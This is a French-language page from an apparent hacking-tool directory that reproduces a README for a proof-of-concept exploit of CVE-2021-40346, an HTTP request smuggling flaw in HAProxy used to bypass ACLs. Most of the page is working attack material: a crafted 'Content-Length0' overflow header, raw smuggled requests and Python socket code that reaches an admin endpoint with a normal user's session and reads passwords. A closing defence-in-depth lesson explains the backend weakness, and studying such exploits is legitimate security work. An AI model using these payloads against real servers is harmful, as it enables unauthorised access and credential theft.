Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/boianeduard/cve-2021-40346
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

Contrebande de requêtes HTTP

Voir le dépôt
1il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-40346: Contrebande de requêtes HTTP HAProxy - Contournement d'ACL

Aperçu

Ce projet démontre CVE-2021-40346, une vulnérabilité critique de débordement d'entier dans HAProxy qui permet des attaques par contrebande de requêtes HTTP pour contourner les contrôles de sécurité.

Score CVSSv3 : 7.5 (Élevé)

Contributeurs :

  1. Boian Eduard
  2. Borsos Matheas-Roland

Qu'est-ce que CVE-2021-40346 ?

CVE-2021-40346 est une vulnérabilité de débordement d'entier dans la logique d'analyse des en-têtes HTTP de HAProxy. Lorsqu'un nom d'en-tête dépasse 255 octets, la valeur de longueur déborde d'un champ 8 bits, ce qui amène HAProxy à interpréter incorrectement l'en-tête lors du transfert de la requête.

Comment fonctionne l'attaque

Analyse étape par étape

  1. L'attaquant envoie : Nom d'en-tête = "Content-Length0" + 255×'a' = 270 octets

  2. Phase 1 (Analyse initiale) :

Télécharger l’outil
  • HAProxy lit les 270 octets du nom d'en-tête
  • Stocke name_length = 270 % 256 = 14 (débordement 8 bits)
  • Le bit de débordement définit value_length = 1
  • Lit l'en-tête légitime Content-Length: 60 et le traite comme longueur du corps
  • Lit 60 octets comme corps de la requête (contenant la requête introduite en contrebande)
  • Phase 2 (Transfert de la requête) :

    • Rencontre le bloc d'en-tête débordé
    • Ne lit que les 14 premiers caractères : "Content-Length"
    • Lit 1 caractère pour la valeur (à la position 14) : "0"
    • Ajoute content-length: 0 à la requête transférée
    • Ignore l'en-tête réel Content-Length: 60 (selon la logique normale)
  • Traitement par le backend :

    • Reçoit content-length: 0 de HAProxy
    • Analyse la requête POST sans corps
    • Traite le « corps » (requête GET introduite en contrebande) comme la prochaine requête HTTP
    • Traite la requête introduite en contrebande, contournant toutes les ACL HAProxy

  • Exemple de flux d'attaque

    Contournement des règles ACL pour accéder au point de terminaison admin

    Considérez HAProxy configuré avec des règles ACL qui restreignent l'accès aux routes admin :

    root@kitploit:~
    http-request deny if { path_beg /users/admin }
    

    Dans notre PoC, nous utilisons une session utilisateur normale (alice) pour accéder au point de terminaison protégé /users/admin qui ne devrait être accessible qu'aux administrateurs.

    Requête malveillante (Requête 1 - Poison) :

    root@kitploit:~
    POST / HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    Content-Length: 78
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Requête que HAProxy transfère :

    root@kitploit:~
    POST / HTTP/1.1
    host: 127.0.0.1:8080
    content-length: 0
    x-forwarded-for: 192.168.188.1
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Requête de complétion (Requête 2) :

    root@kitploit:~
    GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Requête introduite en contrebande complète que le backend traite :

    root@kitploit:~
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Résultat :

    1. HAProxy transfère POST / avec content-length: 0 (l'ACL voit une route sûre)
    2. Le backend traite POST / (sans corps) et attend la prochaine requête
    3. Le backend traite la requête GET /users/admin incomplète introduite en contrebande comme requête en attente
    4. La requête 2 complète la requête introduite en contrebande
    5. Le backend traite GET /users/admin avec la session d'alice, contournant l'ACL HAProxy
    6. La réponse contenant les secrets d'administration est renvoyée à l'attaquant

    Preuve de concept

    Configuration de l'environnement de test

    Configuration HAProxy (haproxy.cfg)

    L'instance HAProxy vulnérable est configurée avec des règles ACL pour protéger le point de terminaison admin :

    root@kitploit:~
    ...
        # ACL to detect admin endpoint access
        acl is_admin_endpoint path_beg /users/admin
        
        # ACL to check for admin session cookie
        acl has_admin_session cook(session) -m beg admin_
        
        # Deny access to admin endpoint if user doesn't have admin session
        http-request deny if is_admin_endpoint !has_admin_session
    ...
    

    Points clés :

    • Protection ACL : /users/admin est bloqué sauf si le cookie de session commence par admin_
    • HTTP Keep-Alive (par défaut) : HAProxy utilise le mode keep-alive par défaut, réutilisant les connexions TCP vers le backend - cela est critique pour l'attaque car cela permet plusieurs requêtes sur la même connexion
    • Contrôle d'accès basé sur la session : Les utilisateurs normaux (session commençant par user_) sont refusés

    Serveur backend (Flask)

    Le serveur backend a trois utilisateurs et un point de terminaison admin :

    root@kitploit:~
    USERS = [
        {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
        {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
        {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
    ]
    
    @app.route('/login', methods=['POST'])
    def login():
        # ... authentication logic ...
        
        # Generate session token with role prefix
        prefix = 'admin_' if user['role'] == 'admin' else 'user_'
        token = prefix + secrets.token_hex(16)
        
        resp.set_cookie('session', token, httponly=True)
        return resp
    
    @app.route('/users/admin', methods=['GET', 'POST'])
    def users_admin():
        # Returns sensitive data including all user passwords
        rows = ''.join([
            f"{u['id']} | {u['username']} | {u['email']} | "
            f"{u['password']} | {u['role']}" 
            for u in USERS
        ])
        
        return f"ADMIN PANELAll users with passwords:{rows}"
    

    Modèle de sécurité :

    • Alice (utilisateur normal) obtient la session : user_a1b2c3d4...
    • L'admin obtient la session : admin_a1b2c3d4...
    • HAProxy bloque les requêtes d'alice vers /users/admin
    • Mauvaise configuration du backend : Le serveur Flask fait aveuglément confiance au fait que HAProxy a déjà appliqué le contrôle d'accès, et ne re-valide pas le jeton de session ni ne vérifie si l'utilisateur est réellement un administrateur avant de fournir des données sensibles
    • Vulnérabilité : La contrebande HTTP contourne la vérification ACL de HAProxy, et le backend n'a aucune défense en profondeur

    Pourquoi cela fonctionne :

    1. HAProxy voit la requête externe POST / (autorisée)
    2. HAProxy vérifie les ACL sur POST / (aucune restriction admin)
    3. HAProxy transfère content-length: 0 (en raison du bug de débordement)
    4. Le backend reçoit la requête incomplète GET /users/admin
    5. La deuxième requête la complète, contournant la vérification ACL de HAProxy
    6. Le backend sert aveuglément le point de terminaison admin - il ne vérifie jamais si le jeton de session est réellement un jeton admin
    7. Le backend traite directement GET /users/admin, révélant les mots de passe

    Leçon sur la défense en profondeur : Cela démontre pourquoi les backend ne devraient jamais faire aveuglément confiance au proxy. Même avec les ACL de HAProxy en place, le backend devrait :

    • Analyser et valider lui-même le jeton de session
    • Vérifier le rôle/permissions de l'utilisateur avant de servir des points de terminaison sensibles
    • Implémenter sa propre logique d'autorisation (par exemple, décorateur @require_admin)

    Se fier uniquement au contrôle d'accès au niveau du proxy crée un point de défaillance unique.

    Séquences clés d'exploitation

    Le PoC démontre le contournement des ACL de HAProxy pour accéder à /users/admin en utilisant la session d'un utilisateur normal en quatre étapes clés :

    1. Authentification en tant qu'utilisateur normal

    root@kitploit:~
    # Login as alice (non-admin user)
    body = "username=alice&password=alice123"
    login = f"POST /login HTTP/1.1\r\n" \
            f"Host: {TARGET}:{PORT}\r\n" \
            f"Content-Type: application/x-www-form-urlencoded\r\n" \
            f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
    
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(login)
    time.sleep(0.5)
    
    # Receive response and extract session token
    resp = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    sock.close()
    
    session = resp.decode().split('session=')[1].split(';')[0]
    print(f"✓ Session: {session[:35]}...")
    

    Objectif :

    • Obtenir un jeton de session légitime pour l'utilisateur normal (alice)
    • Cette session n'a normalement aucun accès au point de terminaison /users/admin
    • Nous utiliserons cette session dans la requête introduite en contrebande pour contourner les ACL

    2. Construction de la requête introduite en contrebande (incomplète)

    root@kitploit:~
    # Craft incomplete smuggled request targeting admin endpoint
    smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
    

    Détails critiques :

    • Cible la route protégée /users/admin
    • Utilise la session utilisateur légitime (alice)
    • Se termine par l'en-tête DUMMY: (pas de CRLF) pour garder la requête incomplète
    • Le backend attendra plus de données avant de traiter

    3. Construction de la requête poison

    root@kitploit:~
    # Create overflow header (270 bytes = 14 after 8-bit overflow)
    overflow_header = "Content-Length0" + ("a" * 255)
    
    # Build complete poison request
    poison = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"{overflow_header}:\r\n"                    # Triggers integer overflow
        f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Real body length
        f"\r\n"
        f"{smuggled_incomplete}"                     # Smuggled request as "body"
    ).encode()
    

    Ce qui se passe :

    • Content-Length0aaa... (270 octets) déborde à 14 octets
    • HAProxy Phase 2 lit les 14 premiers caractères : "Content-Length"
    • Valeur à la position 14 : "0"
    • HAProxy transfère : content-length: 0
    • Le backend reçoit le GET introduit en contrebande comme requête en attente

    4. Envoi des requêtes

    root@kitploit:~
    # Send poison request
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(poison)
    time.sleep(1)
    resp1 = sock.recv(4096)  # Receive POST / response
    
    # Send completion request (completes smuggled request)
    completion = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"\r\n"
    ).encode()
    
    sock.sendall(completion)
    time.sleep(2)
    
    # Capture the response of the smuggled request
    all_data = b""
    sock.settimeout(5)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            all_data += chunk
    except:
        pass
    sock.close()
    
    # Decode and check for success
    text = all_data.decode('utf-8', errors='ignore')
    
    print(f"\n[RESULTS] {len(all_data)} bytes received")
    print("="*70)
    print(text)
    print("="*70)
    
    if "admin_secret" in text:
        print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
        print("🔓 Stolen passwords visible in response above!")
    else:
        print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")
    

    Flux des requêtes :

    1. Poison envoyé → Le backend met en mémoire tampon le GET /users/admin incomplet
    2. Envoi de la complétion → Concaténée à la requête introduite en contrebande, ajoutant deux CRLF
    3. Le backend traite → GET /users/admin complet avec la session d'alice
    4. Réponse capturée → Toutes les données reçues et décodées en UTF-8
    5. Détection du succès → Vérifie la présence du mot-clé admin_secret dans la réponse